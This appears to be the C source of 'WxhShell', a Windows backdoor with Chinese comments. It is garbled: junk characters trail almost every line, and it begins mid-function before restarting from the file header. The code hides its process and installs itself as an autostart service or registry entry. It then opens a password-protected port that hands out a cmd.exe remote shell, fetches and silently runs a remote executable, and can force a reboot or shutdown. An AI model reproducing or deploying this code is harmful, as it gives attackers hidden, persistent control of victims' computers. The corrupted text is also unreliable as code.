    else { yFDv6yJ.  
    closesocket(wsh); m_?d=o  
    ExitThread(0); 06$!R/K  
    } ST\$=  
    break; 0#w?HCx=  
    } }cT_qqw(f%  
  // 获取shell ,0x y\u  
  case 's': { JkW9D)6  
    CmdShell(wsh); a=M\MZK>  
    closesocket(wsh); ;"(foY"L  
    ExitThread(0); fRg`UI4w}  
    break; I%- " |]$  
  } t]7&\ihZi~  
  // 退出 4`JH&))}  
  case 'x': { iw*Nq,(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); afYc\-"  
    CloseIt(wsh); )Ke*JJaq  
    break; aLIBD'z  
    } 0a-:<zm  
  // 离开 /rUo{j  
  case 'q': { bh^LIU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,-7R(iMd  
    closesocket(wsh); =-_B:d;  
    WSACleanup(); ()~pY!)1/  
    exit(1); V(Ub!n:j  
    break; K|dso]b/  
        } w@N  
  } h;6lK$!c  
  } y|'SXM  
}CeCc0M  
  // 提示信息 LX^u_Iu   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); u_ABt?'  
} H54 R8O$  
  } |SyMngIY  
r*Yi1j/  
  return; }Ho Qwy|&  
} >JiltF7H0  
sQMFpIrr  
// shell模块句柄 DGzw8|/(  
int CmdShell(SOCKET sock) m!<\WN6g  
{ X7s `U5'l  
STARTUPINFO si; ^tXJj:wtS  
ZeroMemory(&si,sizeof(si)); ]c! ;L5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .A6(D$ O k  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K)J(./  
PROCESS_INFORMATION ProcessInfo; aH^RoG}  
char cmdline[]="cmd"; &^W|iXi#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I1PuHf Qs  
  return 0; =}.EY iD  
} m 9/}~Y#k  
m=YU2!Mb  
// 自身启动模式 K_dOq68_  
int StartFromService(void) kT;S4B  
{ -wjN"g<  
typedef struct <:?r:fQX  
{ OF\rgz  
  DWORD ExitStatus; L'u\ w  
  DWORD PebBaseAddress; 2Lx3=k  
  DWORD AffinityMask; aG^4BpIP  
  DWORD BasePriority; iezO9`  
  ULONG UniqueProcessId; gG/!,Q.Qh  
  ULONG InheritedFromUniqueProcessId; T<XA8h*  
}   PROCESS_BASIC_INFORMATION; /iX+R@  
V{JAB]?^  
PROCNTQSIP NtQueryInformationProcess; 6L)%T02C  
s0PrbL%_`  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^Vpq$'!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5H ue7'LS  
8 XU1 /i7N  
  HANDLE             hProcess; 1Z9qjV%^  
  PROCESS_BASIC_INFORMATION pbi; >yULC|'F&~  
Z,=7Tu bR#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y'ow  
  if(NULL == hInst ) return 0; 5-M&5f.   
ELj\[&U  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z_|/5$T>U  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hNzB4 p  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0(S"{Ov  
?]*^xL;x?  
  if (!NtQueryInformationProcess) return 0; &uO%_6J  
x@*SEa  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -]QD|w3dp  
  if(!hProcess) return 0; HaP}Y :p  
W VI{oso#  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; DCZ\6WY1G)  
+(h\fm7*-  
  CloseHandle(hProcess); rYbpih=x  
({q?d[q[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6q{HU]N+  
if(hProcess==NULL) return 0; 6Udov pl  
2o'Wy  
HMODULE hMod; _ ]Z s,Hy  
char procName[255]; q#s,- uu  
unsigned long cbNeeded; !TUrQ  
,gS;m &!'J  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m&?#;J|B$  
+u3=dj"[  
  CloseHandle(hProcess); h-%R<[  
v#!%GEg1r  
if(strstr(procName,"services")) return 1; // 以服务启动 v61[.oS  
ia MUsa{  
  return 0; // 注册表启动 <"_d]?,  
} IyPwP*A  
:AE&Ny4  
// 主模块 <>8WQn,K  
int StartWxhshell(LPSTR lpCmdLine) mVy|{Oh  
{ ]bK=FIK2  
  SOCKET wsl; JhLgCnm  
BOOL val=TRUE; AT%u%cE-  
  int port=0; 'hs2RSq  
  struct sockaddr_in door; @w?P7P<O`  
D}mjN=Y  
  if(wscfg.ws_autoins) Install(); "OdXY"G  
WS`qVL]^&  
port=atoi(lpCmdLine); 'L8' '(eZ^  
R.yC(r  
if(port<=0) port=wscfg.ws_port; i{`;R  
GgB,tam{p  
  WSADATA data; ?W)A   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vMm1Z5S/  
lGOgN!?i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %;rHrDP(>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *#C+iAF|)'  
  door.sin_family = AF_INET; lk( }-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); v~^{{O  
  door.sin_port = htons(port); $GTU$4u  
fe9LEM8j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { [Ki0b^  
closesocket(wsl); ^Gqt+K%  
return 1; N9v1[~ bv_  
} ]VD|xm:kj  
[_}J F}6  
  if(listen(wsl,2) == INVALID_SOCKET) { fIsp;ca[k  
closesocket(wsl); #n#@fAY  
return 1; /|D*w^ >  
} Ym =FgM\  
  Wxhshell(wsl); 3yB!M  
  WSACleanup(); J%,*is EL  
|563D#?cR  
return 0; o*o/q],C9-  
GhIKvX_N  
} SgS~ {4Zx*  
Mw;sLsu  
// 以NT服务方式启动 BBtzs^C|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %y@Hh=  
{ (EI;"N (x  
DWORD   status = 0; c1E'$- K@  
  DWORD   specificError = 0xfffffff; 6x%h6<#xh*  
|v({-*7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 70eb]\%  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t({W [JL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w.?:SD  
  serviceStatus.dwWin32ExitCode     = 0; WjlZ6g2i  
  serviceStatus.dwServiceSpecificExitCode = 0; 3GUZ;jdn  
  serviceStatus.dwCheckPoint       = 0; 3U7 *>H  
  serviceStatus.dwWaitHint       = 0; T>NDSami  
j 4^97  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !;KCU^9  
  if (hServiceStatusHandle==0) return; ;,?KI$K  
t},/}b  
status = GetLastError(); %>g3~yl  
  if (status!=NO_ERROR) `#;e)1  
{ Y\$ySvZ0  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s=0BMPDgm  
    serviceStatus.dwCheckPoint       = 0;  ~Hr}]  
    serviceStatus.dwWaitHint       = 0; ]hFW 73FV  
    serviceStatus.dwWin32ExitCode     = status; }#&#^ B#?O  
    serviceStatus.dwServiceSpecificExitCode = specificError; TztAZ2C  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /(.mp<s0  
    return; sXD1C2o  
  } E.Jkf\  
Qm Ce>+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ht&:-F+dm  
  serviceStatus.dwCheckPoint       = 0; CnG+Mc^  
  serviceStatus.dwWaitHint       = 0; 3_MS.iM  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i? K|TC`  
} =5(>q5Z*  
$w);5o  
// 处理NT服务事件,比如:启动、停止 {M^3m5.^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) RT.D"WvT  
{ -UOj>{-  
switch(fdwControl) d~JKH&x<  
{ i;_tI#:A  
case SERVICE_CONTROL_STOP: MM x9(`t*.  
  serviceStatus.dwWin32ExitCode = 0; PqiB\~o@Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; T^Ze3L]  
  serviceStatus.dwCheckPoint   = 0; 9Ru8~R/\  
  serviceStatus.dwWaitHint     = 0; Lcg)UcB-#  
  { -T[lx\}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [YUv7|\  
  } J /f  
  return; JNJ=e,O,  
case SERVICE_CONTROL_PAUSE: e-"nB]n^/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H?)w!QX  
  break; Na?!;1]_  
case SERVICE_CONTROL_CONTINUE: RM!<8fXYD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |4uWh  
  break; )C(? bR  
case SERVICE_CONTROL_INTERROGATE: &I (#Wy3  
  break; hNH'XQxO  
}; rjp-Fw~1w  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !U'QqnT  
} L_wk~z  
nh!a)]c[  
// 标准应用程序主函数 '8{N e!y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -\ EP.Vtz  
{ +/)#( j@  
S|]X'f  
// 获取操作系统版本 b-{=s +:  
OsIsNt=GetOsVer(); (4dhuT  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TwVlg ;  
\<y#R~7s  
  // 从命令行安装 ?MgUY)X  
  if(strpbrk(lpCmdLine,"iI")) Install(); \\u<S=G  
S&b*rA02zp  
  // 下载执行文件 VBcy9|lD  
if(wscfg.ws_downexe) { :"xzj<(  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bqnNLs<N  
  WinExec(wscfg.ws_filenam,SW_HIDE); "hzB9*"t  
} /#VhkC _  
t\%HX.8[;%  
if(!OsIsNt) { S'_-G;g.  
// 如果时win9x,隐藏进程并且设置为注册表启动 7:)n$,31FW  
HideProc(); s3R(vd  
StartWxhshell(lpCmdLine); %sX$ nmi3  
} =p=rg$?  
else d\ 1Og\U|A  
  if(StartFromService()) qT`k*i?  
  // 以服务方式启动 %Ntcvp)  
  StartServiceCtrlDispatcher(DispatchTable); N#DYJ-~*  
else .MJofE;Jn  
  // 普通方式启动 ^wc"&;=c|  
  StartWxhshell(lpCmdLine); EuyXgK>g  
OG~6L4"  
return 0; < F`>,Pm  
} G}:lzOlMH  
m6[0Kws&  
Od %"B\  
O0pDd4)"  
=========================================== [ji#U s:h  
b{]z w pf  
Dm-zMCf}Q  
I/L_@X<*r  
7w/4QiI  
pnbIiyV  
" wT:b\km:!  
t-0a7 1#e  
#include <stdio.h> -< &D  
#include <string.h> g#t[LI9(F[  
#include <windows.h> }7 c[Q($K  
#include <winsock2.h>  \V*xWS  
#include <winsvc.h>  .5y+fL  
#include <urlmon.h> 1r]Io gI  
gm[z[~X@  
#pragma comment (lib, "Ws2_32.lib") {yB&xj[z  
#pragma comment (lib, "urlmon.lib") aM:nOt" S1  
$l|qk  z  
#define MAX_USER   100 // 最大客户端连接数 HLZ;8/|48m  
#define BUF_SOCK   200 // sock buffer U~j ^I^  
#define KEY_BUFF   255 // 输入 buffer 0QOBL'{7)  
W^] 3XJP  
#define REBOOT     0   // 重启 I| b2acW  
#define SHUTDOWN   1   // 关机 #~l(]h@ )  
pt?q#EfFJ  
#define DEF_PORT   5000 // 监听端口 dK2p7xo  
4*cU<  
#define REG_LEN     16   // 注册表键长度 #[`:'e  
#define SVC_LEN     80   // NT服务名长度 vWf; 'j  
< VSA  
// 从dll定义API jhg;%+KB  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?)1{)Erf8x  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); GP:77)b5  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R5 9S@MsuD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); OC<5E121>Y  
.P MZX%*v  
// wxhshell配置信息 J1:1B ,^y  
struct WSCFG { 1PP $XJtyD  
  int ws_port;         // 监听端口 ~ ArP9 K "  
  char ws_passstr[REG_LEN]; // 口令 dRaNzK)M  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4y'OMRy  
  char ws_regname[REG_LEN]; // 注册表键名 Wv/%^3  
  char ws_svcname[REG_LEN]; // 服务名 ( m:Zk$  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Oms. e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8_6Q~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~tR~?b T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Tny%7xSx1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" FZtfh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %e(z /"M=`  
6N;wqn  
}; -OA?BEQ=I  
0#S W!b|%  
// default Wxhshell configuration K?zH35f$  
struct WSCFG wscfg={DEF_PORT, )l[M Q4vWW  
    "xuhuanlingzhe", ;Mpy#yIU.  
    1,  $W9{P;  
    "Wxhshell", $[/&74#0HX  
    "Wxhshell", 'Ub g0"F(  
            "WxhShell Service", HsHB!mQV  
    "Wrsky Windows CmdShell Service", D6G oa(!9d  
    "Please Input Your Password: ", eQD)$d_5  
  1, Y>EzTV  
  "http://www.wrsky.com/wxhshell.exe", w`il=ZAC  
  "Wxhshell.exe" e*;c(3>(  
    }; ulkJR-""&  
/U"CO8Da  
// 消息定义模块 eL\;Nf+Zp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >ey\jDr#O  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 43Qtj$F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; KB'qRnkc  
char *msg_ws_ext="\n\rExit."; sPMa]F(  
char *msg_ws_end="\n\rQuit."; V8HnUuz  
char *msg_ws_boot="\n\rReboot..."; pk3<|  
char *msg_ws_poff="\n\rShutdown..."; JNa"8  
char *msg_ws_down="\n\rSave to "; 72Iy^Y[MX  
fbL\?S,w  
char *msg_ws_err="\n\rErr!"; `^FGwx@  
char *msg_ws_ok="\n\rOK!"; bV$)!]V  
G1"zElug  
char ExeFile[MAX_PATH]; 0DmMG  
int nUser = 0; (h5'9r  
HANDLE handles[MAX_USER]; G_k~X"  
int OsIsNt; W81E!RyP`  
pSr{>;bN  
SERVICE_STATUS       serviceStatus; x-AZ %)N9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; /~Z?27F6@  
LK, bO|  
// 函数声明 Pp`*]Ib  
int Install(void); bVL9vNK  
int Uninstall(void); CFqJ/ ''  
int DownloadFile(char *sURL, SOCKET wsh); )6Ny1x+  
int Boot(int flag); 1!1 beR]  
void HideProc(void); _:-ha?W$;y  
int GetOsVer(void); LX@/RAd vz  
int Wxhshell(SOCKET wsl); '`XX "_k3  
void TalkWithClient(void *cs); )d$glI+  
int CmdShell(SOCKET sock); H N.3  
int StartFromService(void); u\LFlX0sO  
int StartWxhshell(LPSTR lpCmdLine); q|v(Edt|_[  
]"1`+q6i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 0LfU=X0#7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &znQ;NH#  
KA){''>8  
// 数据结构和表定义 & M~`:R  
SERVICE_TABLE_ENTRY DispatchTable[] = LF~*^n>  
{ Ircp``g  
{wscfg.ws_svcname, NTServiceMain}, 9f',7i  
{NULL, NULL} USVqB\#  
}; KTn}w:+B\  
mN>h5G>a  
// 自我安装 h|h>u ^@  
int Install(void) t7m>A-I  
{ sp5eVAd  
  char svExeFile[MAX_PATH]; t@R ?Rgu3  
  HKEY key; {iv<w8CU)  
  strcpy(svExeFile,ExeFile); BwBm[jtP  
/}PF\j9#4  
// 如果是win9x系统,修改注册表设为自启动 g"?Y+j  
if(!OsIsNt) { '^Ql]% _  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =Uj-^qcE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u6MzRC  
  RegCloseKey(key); $zyIuJN#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1xbK'i:-S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :k3Nt5t!  
  RegCloseKey(key); 7hi"6,  
  return 0; ,Vh{gm1  
    } fuA&7gNC  
  } RgGyoZ  
} 9(L)&S{4K  
else { -W<vyNSr  
>9f%@uSM$3  
// 如果是NT以上系统,安装为系统服务 El o Me~a3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Ma\Gb+>  
if (schSCManager!=0) ec gtUb8K  
{ vk?skN@  
  SC_HANDLE schService = CreateService K"0PTWt  
  ( TU GNq  
  schSCManager, IR-dU<<9O  
  wscfg.ws_svcname, wo3wtx  
  wscfg.ws_svcdisp, zt<WXw(  
  SERVICE_ALL_ACCESS, IhBp%^H0-  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +]|Z%;im  
  SERVICE_AUTO_START, 8-lOB  
  SERVICE_ERROR_NORMAL,  (:";i&  
  svExeFile, Y)$ ;Ax-D  
  NULL, qt3PXqR7 :  
  NULL, jC3Vbm&ZZ  
  NULL, Hsihytdj  
  NULL, -YjA+XP  
  NULL yY&3p1AxW]  
  ); d~?X/sJ t  
  if (schService!=0) 9XHz-+bQ  
  { DwV4o^J:l  
  CloseServiceHandle(schService); Fk6x<^Q<w  
  CloseServiceHandle(schSCManager); 7;tJK^J`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u- o--q  
  strcat(svExeFile,wscfg.ws_svcname); b-Z4 Jo G  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rx5B=M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 78Aa|AJU  
  RegCloseKey(key); `-\/$M9s=  
  return 0; N~?{UOZd  
    } +,&O1ykY  
  } $%%os6y2v  
  CloseServiceHandle(schSCManager); p)=~% 7DV  
} oM2UzB{(  
} c\q   
=B];?%  
return 1; e } *0ghKI  
} p:OPw D+  
m rJQ#  
// 自我卸载 ooj~&fu  
int Uninstall(void) 4#(ZNP  
{ 8$c bVMjh  
  HKEY key; DS2)@  
 /q@ s  
if(!OsIsNt) { G|m1.=DJm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {i*2R^5  
  RegDeleteValue(key,wscfg.ws_regname); m$LVCB  
  RegCloseKey(key); ZO7&vF}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ur\qOX|{  
  RegDeleteValue(key,wscfg.ws_regname); 68iV/ 7  
  RegCloseKey(key); Nk;iiz+_p  
  return 0; ;oNhEB:F  
  } j.i#*tN//  
} BT_tOEL#  
} : 5U"XY x@  
else { nq1 9Q)  
id?#TqD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Dw2Q 'E  
if (schSCManager!=0) CN2_bz  
{ ,WQ^tI=O  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M|[ZpM+  
  if (schService!=0) 7$k8%lI;>  
  { ,SScf98,j  
  if(DeleteService(schService)!=0) { gFPi7 o1  
  CloseServiceHandle(schService); [,~TaP}m  
  CloseServiceHandle(schSCManager); d"U(`E=H9  
  return 0; o+?r I p  
  } kJ(A,s|  
  CloseServiceHandle(schService); q+a.G2S  
  } .A1\J@b  
  CloseServiceHandle(schSCManager); <8 #ObdY!  
} ]feyJLF  
} 6e25V4e?I  
%g cc y|  
return 1; [WB{T3j  
} n^hocGH*  
H<ZU#U0FZf  
// 从指定url下载文件 *]x*B@RF  
int DownloadFile(char *sURL, SOCKET wsh) &s)0z)mR8&  
{ q6wr=OWD  
  HRESULT hr; N8!TZ~1$  
char seps[]= "/"; A%vsno!  
char *token; z{BA4sn  
char *file; fA^7^0![  
char myURL[MAX_PATH]; p8,0lo  
char myFILE[MAX_PATH]; 137Xl>nO  
|*,jU;NI  
strcpy(myURL,sURL); DI&MC9j(   
  token=strtok(myURL,seps); ?A7Yk4Y.?N  
  while(token!=NULL) rwpgBl  
  { ex?\ c"  
    file=token; 4?/7 bc  
  token=strtok(NULL,seps); Z,WW]Y,$  
  } 3SARr>HRyI  
IX?ZbtdX$`  
GetCurrentDirectory(MAX_PATH,myFILE); }#=Od e  
strcat(myFILE, "\\"); PMKb ]y  
strcat(myFILE, file); |,}E0G.  
  send(wsh,myFILE,strlen(myFILE),0); aQcN&UA@  
send(wsh,"...",3,0); /qxJgoa  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); c6b0*!D"}  
  if(hr==S_OK) >$ F:*lO  
return 0; 5a(<%Q <"  
else [[qwaI  
return 1; p\U*;'hv  
64D%_8#m  
} F$*3@Y  
/#yA%0=w  
// 系统电源模块 Y jup  
int Boot(int flag) JCQ:+eqt  
{ fW~*6ln  
  HANDLE hToken; "g `nsk  
  TOKEN_PRIVILEGES tkp; -3mgza  
K&UE0JO'  
  if(OsIsNt) { WOO%YU =  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 4uX(_5#j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m4gU*?  
    tkp.PrivilegeCount = 1; Lh 9S8EU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xeB4r/6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 797X71>  
if(flag==REBOOT) { + v[O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lcig7%  
  return 0; Dq`~XS*  
} y[:q"BB3  
else { pruWO'b`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #` +]{4hR  
  return 0; 6_U |(f  
} Ea4 * o  
  } kV 1vb  
  else { -]QguZE  
if(flag==REBOOT) { cqk]NL`'  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) cDO:'-  
  return 0; 0IFlEe[>#  
} H56 ^n<tg  
else { 6+Jry@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S*rO0s:  
  return 0; i7f%^7!  
} M,JA;a, _  
} iIB9j8  
\=8=wQv  
return 1; " <*nZ~nE)  
} F8 ?uQP8  
V{FE[v_  
// win9x进程隐藏模块 .ujj:>  
void HideProc(void) QmHwn)Ly  
{ fwH`}<o  
#~1wv^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =Pj@g/25u  
  if ( hKernel != NULL ) wlL8X7+:  
  { bHJoEYY^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y.9~Bo<<r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \KN dZC?V2  
    FreeLibrary(hKernel); _^b@>C>O  
  } ,wlbIl~  
N)P((>S;  
return; -^R b7 g-  
} DH/L`$  
]xI?,('_m  
// 获取操作系统版本 }<.7xz|V  
int GetOsVer(void) Y!;gQeC  
{ O!yakU+  
  OSVERSIONINFO winfo; 1N>6rN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); o|+E+l9\  
  GetVersionEx(&winfo); rWqkdi1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) N-D(y  
  return 1; ZX h~ 79  
  else  :4{Qh  
  return 0;  XL&hs+Y  
} ^J0zXe -d  
e/ WBgiLw  
// 客户端句柄模块 u\:rY)V  
int Wxhshell(SOCKET wsl) 'qdg:_L"  
{ 6EZ1YG}  
  SOCKET wsh; ,zG<7~m  
  struct sockaddr_in client; Z6NJ)XQy6F  
  DWORD myID; P&,hiGTDi  
G&.d)NfE  
  while(nUser<MAX_USER) xJ N|w\&  
{ Q6eN+i2 ;  
  int nSize=sizeof(client); Y:rJK|m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FT<H ]Nf  
  if(wsh==INVALID_SOCKET) return 1; T.J`S(oI  
s c5\( b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^v ]UcnB0  
if(handles[nUser]==0) Y+!Ouc!$  
  closesocket(wsh); #NW Zk.S  
else h-Tsi:%b  
  nUser++; {ms,q_Zr  
  } qbEKp HnB  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "3\oQvi.  
mXQl;  
  return 0; &fCP2]hj'  
} uE"5cq'B/  
;I[ht  
// 关闭 socket xOwNCh  
void CloseIt(SOCKET wsh)  CEbzJ   
{ ?@3#c  
closesocket(wsh); s.VUd R"  
nUser--; ub[""M?  
ExitThread(0); ;RNM   
} : : F!   
y T[Lzv#  
// 客户端请求句柄 {9h`$e=  
void TalkWithClient(void *cs) /!^L69um  
{ E}]I%fi  
<P|`7wfxE  
  SOCKET wsh=(SOCKET)cs; nu;} S!J  
  char pwd[SVC_LEN]; nw~/~eM5=  
  char cmd[KEY_BUFF]; 3DxZ#/!  
char chr[1]; 0\? _ lT2  
int i,j; 8]sTX9  
` %FIgE^  
  while (nUser < MAX_USER) { }V\P,ck  
}%-UL{3%  
if(wscfg.ws_passstr) { ]cx"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /d{glOk  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QN)/,=#  
  //ZeroMemory(pwd,KEY_BUFF); =#OHxM  
      i=0; Bv2z4D4f+  
  while(i<SVC_LEN) { "}S9`-Wd|  
(! xg$Kz@  
  // 设置超时 5u'TmLuKT  
  fd_set FdRead; @/CRIei  
  struct timeval TimeOut; Ul '~opf  
  FD_ZERO(&FdRead); <{$ ev&bQ  
  FD_SET(wsh,&FdRead); 2>!_B\%)H  
  TimeOut.tv_sec=8; #g@  
  TimeOut.tv_usec=0; 4(` 2#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cxtLy&C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h g%@W  
l@,);w=_P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B]A 5n8<  
  pwd=chr[0]; *\=2KIF'  
  if(chr[0]==0xd || chr[0]==0xa) { F3k C"H  
  pwd=0; 2uvQf&,  
  break; MILIu;[{#r  
  } }u(d'9u  
  i++; PWf{aHsr  
    } 2x)0?N[$O  
^tm++  
  // 如果是非法用户,关闭 socket >$7wA9YhL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 1_Dn?G^H  
}  5uQv  
uznoyj6g  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Bxn 8><  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fpj6Atk  
3e!3.$4M  
while(1) { "| .  +L  
s`8M%ZLu  
  ZeroMemory(cmd,KEY_BUFF); 7h9fQ&y  
1R5\GKF6o  
      // 自动支持客户端 telnet标准   ,W)IVc   
  j=0; 2x<Qt2"  
  while(j<KEY_BUFF) { ~pd1 )  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6e$sA (a=i  
  cmd[j]=chr[0]; dO 1-c`  
  if(chr[0]==0xa || chr[0]==0xd) { 68&6J's;  
  cmd[j]=0; !wLH&X$XT  
  break; eZN3H"H  
  } *j_fG$10g  
  j++; IyG = 7  
    } a@5xz)  
M `9orq<  
  // 下载文件 %!ER@&1f&  
  if(strstr(cmd,"http://")) { VgFF+Eg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M5cOz|j/*R  
  if(DownloadFile(cmd,wsh)) #lBpln9  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [#hl}q(P#  
  else [p( #WM:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <FcPxZ  
  } 5I8FD".i  
  else { ! kOl$!X4  
( l3UNP  
    switch(cmd[0]) { n3l"L|W^(<  
  s{"`=dKT  
  // 帮助 >?G|Yz*kEJ  
